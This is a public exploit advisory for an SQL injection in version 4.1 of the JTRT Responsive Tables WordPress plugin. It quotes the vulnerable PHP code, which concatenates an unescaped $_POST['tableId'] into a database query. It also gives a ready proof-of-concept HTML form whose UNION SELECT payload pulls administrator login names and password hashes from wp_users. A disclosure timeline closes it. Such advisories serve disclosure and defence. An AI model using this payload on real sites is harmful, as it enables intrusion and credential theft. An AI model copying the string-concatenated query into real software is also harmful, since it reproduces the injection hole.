WordPress Plugin JTRT Responsive Tables 4.1 - SQL Injection

# Exploit Title:  JTRT Responsive Tables 4.1 – WordPress Plugin – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/jtrt-responsive-tables/
 
# Software Link: https://wordpress.org/plugins/jtrt-responsive-tables/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.1
# Tested on: Ubuntu 16.04

Description:

    Type user acces: single user.

$_POST[‘tableId’] is not escaped.

http://lenonleite.com.br/en/blog/2017/09/11/jtrt-responsive-tables-wordpress-plugin-sql-injection/
File / Code:

Path: /wp-content/plugins/jtrt-responsive-tables/admin/class-jtrt-responsive-tables-admin.php

Line :  183

$getTableId = $_POST['tableId'];
...

$retrieve_data = $wpdb->get_results( "SELECT * FROM $jtrt_tables_name WHERE jttable_IDD = " . $getTableId );


Proof of Concept:

1 – Log in with single user.

2 – Using form, sqli by post:

<form method="post" action="http://target.dev/wp-admin/admin-ajax.php?action=get_old_table">
   <input type="text" name="tableId" value="1 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass),4,5 FROM wp_users WHERE ID=1">
   <input type="submit" name="">
</form>

    08/09/2017 – Discovered
    11/09/2017 – Vendor finded
    03/11/2017 – Publish